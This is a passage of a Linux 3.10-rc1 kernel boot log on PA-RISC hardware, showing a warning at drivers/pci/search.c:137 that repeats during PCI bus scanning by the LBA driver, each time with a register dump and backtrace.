 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d0 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000040 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000040 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 000000000000024a
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d1 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000048 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000048 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 0000000000000260
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d2 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000050 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000050 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 0000000000000275
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d3 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000058 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000058 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 000000000000028a
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d4 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000060 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000060 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 000000000000029f
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d5 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000068 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000068 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 00000000000002b4
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d6 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000070 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000070 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 00000000000002c9
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d7 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000078 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000078 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 00000000000002de
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d8 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000080 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000080 000000007fd13400 00000000406a9250
r28-31  0000000000000200 000000007fc58d40 000000007fc58e10 00000000000002f5
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44d9 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000088 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000088 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 0000000000000309
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44da ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000090 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000090 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 000000000000031f
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44db ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  0000000000000098 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 0000000000000098 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 0000000000000335
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
